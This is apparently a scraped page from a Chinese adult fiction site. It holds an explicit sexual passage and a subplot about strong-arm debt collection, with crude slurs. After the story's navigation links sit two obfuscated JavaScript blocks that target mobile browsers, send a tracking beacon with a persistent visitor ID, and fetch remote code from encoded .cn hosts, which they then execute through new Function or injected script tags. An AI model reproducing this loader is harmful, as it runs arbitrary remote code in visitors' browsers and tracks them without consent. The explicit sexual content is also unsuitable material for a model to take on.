酒精顽强地锁住了精关。牛乃夫记得两个人中间休息了一阵,好像还喝了几口茶抽了一根烟,但是田慧为他套上房间里仅有的第二只套子的情节是确凿无疑的。她拉上了被子,尽管两个人都是汗水淋淋,然后趴在他身上让肉棒再次进入阴道,嗯嗯啊啊地在一番激情不减的扭动摩擦中把两个人都推向了欲望的巅峰。

牛乃夫感觉到了下体的淫汁似乎更加的沾黏,但高潮过后的疲惫以及与酒精抗争的倦怠让他很快就睡了过去……

第二天,牛乃夫是被小七的电话给叫醒的。他们几个人在卡拉OK里玩了个通宵,小七想上来休息了。田慧已经不在房里。牛乃夫掀开被子准备起床洗漱,把房间让给小七,但床榻之上的情景让他目瞪口呆。

床单中间一滩血红,还有些黄色的污秽,被子上也有斑驳的血红,一条掉落在地上的浴巾也是污迹斑斑,他又愕然地看了看自己身上,有被擦拭过的痕迹,但依然看得出下体残留的血污,都已干结,空气中似乎还隐约有腥臊味。

牛乃夫一阵恶心,赶紧拉上被子,把地上的浴巾塞进垃圾桶,然后冲进厕所一边在心里暗暗咒骂,一边使劲地冲洗擦拭。到了卡拉OK厅,只剩下小五和小七,牛乃夫把房卡给了小七,诡异地笑了笑什么都没说,就和小五一起下楼各自打的回家了。

只一会儿的功夫,小七的电话就打了过来:“老……老牛,你们两个也太骚太下流太恶心了吧,居然连红灯都闯啊!让我还怎么睡啊!”

“哈哈,兄弟啊,这才叫做爽呢!房间押金我付在总台了,够你住上几天的了,哈哈……”

那时的牛乃夫,其实和小七他们根本就没什么区别……

“牛哥,小五他对你怎么啦?前天我问他怎么没喊你,他支支吾吾地说没联系上你,我当时就觉得有些不对劲。”

小七是这些人里面对牛乃夫最死心塌地的一个,他能为了牛乃夫同别的兄弟翻脸。

“你们不会是因为那个女人的吧?”

“靠,那个女人我都快七、八年没见过了,电话都没了,长什么样我都快记不得了!”

自从那次让他恶心了一把之后,牛乃夫就对田慧敬而远之了,尽管其后大家又喝过几次酒,但再也没碰过她哪怕一根指头。

并随着他们几个兄弟间聚会次数的日渐减少,与田慧也很快没了交集,如果这次不是因为小七的再次提起,他几乎都快忘了在自己的那些经历中还有个叫田慧的女人。

“小五这狗日的,有钱喝酒泡女人玩KTV,就没钱还债啊!”

其实,小五承包那间卡拉OK厅没多长时间就难以为继了,之后又陆续折腾过好几种生意,但无一例外都以亏本告终,三年前说要做办公用品的生意而问牛乃夫借了5万元,说好一年就还,牛乃夫也从没催过他,一年期满后他又说因为有几笔款子还没结到手再容他宽延两个月,牛乃夫没多往心里去。

可没想到自从以后他就像人间蒸发了一般,再没有主动联系过牛乃夫,他也以为小五又重蹈覆辙藏起来躲债了,心想就当募捐做慈善了吧。但今天听小七他们一说,牛乃夫感到有些生气,有点被耍的感觉。

当牛乃夫把小五借钱的事告诉他们后,几个兄弟都觉得简直不可思议,小七第一个忍不住跳了出来:“这狗日的,连牛哥都耍啊!我看他现在生意做得不错的,还搞了个门面呢!”

其他几个兄弟也你一言我一语的数落起小五。

“呵呵,算了,大家兄弟一场,他请你们喝酒唱歌就当是我请的了哦!”

杯子里只剩下些卡布基诺的泡沫,牛乃夫笑眯眯地招唿服务员再来壶上好的乌龙,一付千金散尽还复来的洒脱模样,但说出的话在小七他们听来简直就觉自己是小五的同谋一般。

“不行!他妈了个B,这狗日的小五,不把牛哥当兄弟,就是不把我们当兄弟了,我去找他!”

小七的脾气不但说得出,更做得出。

“这事牛哥你就别多管了,我一定帮你把钱给要回来!”

其他人也附和着小七说不能就这么被小五耍了,他不仁你也不用对他仗义,钱要回来宁愿大家一起吃喝玩乐。

牛乃夫依然不急不缓地劝慰着,但小七是越劝越来劲,好像小五欠他的钱一般,拿起电话就要招唿手下的小弟,牛乃夫一把按住了他的手,依然笑眯眯地说道:“别冲动,你怎么去要钱我不管,但千万别让我下不了台,更别给我惹出大的事情啦!”

气氛终于又回到了“兄弟情深”的场面,小七咕隆一口喝完一盅乌龙茶,笑着对牛乃夫说道:“牛哥啊,你放心,我就是干这个的呀!不过说实话,上次我真服了你和田慧两个了,真没想到你还好那一口啊,哈哈……”

“滚你妈的蛋,我还不是捡的你的破鞋啊!”

牛乃夫在众人戏谑的哄笑声中也一脸淫秽地辩解道,“你以为我喜欢闯红灯啊?那次起步时明明是绿灯,谁能想到半路上会亮红灯啊,而我那次也喝得差不多了,呵呵呵……”

“喂喂喂,牛哥,我都说过无数次了,田慧那张屄我可一次都没碰过!”

小七涨红了脸,众人又是一阵浪笑,老六拍着他的肩膀被茶水呛得直咳嗽……

关于5万元借款的事,小七很快在第三天就办妥了,五扎一百元大钞分文不少,牛乃夫要给他一万元作为辛苦费他坚决不要。当天晚上除了小五和另外一个常年跑外地做生意的兄弟外,牛乃夫约齐了“十兄弟”中的其他所有人,请他们喝了茅台吃了鲍汁鱼翅还上了KTV,在KTV他又很慷慨地为每一个兄弟都安排了一个小姐……


上一篇:狂乱一家人

下一篇:熟女师娘


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};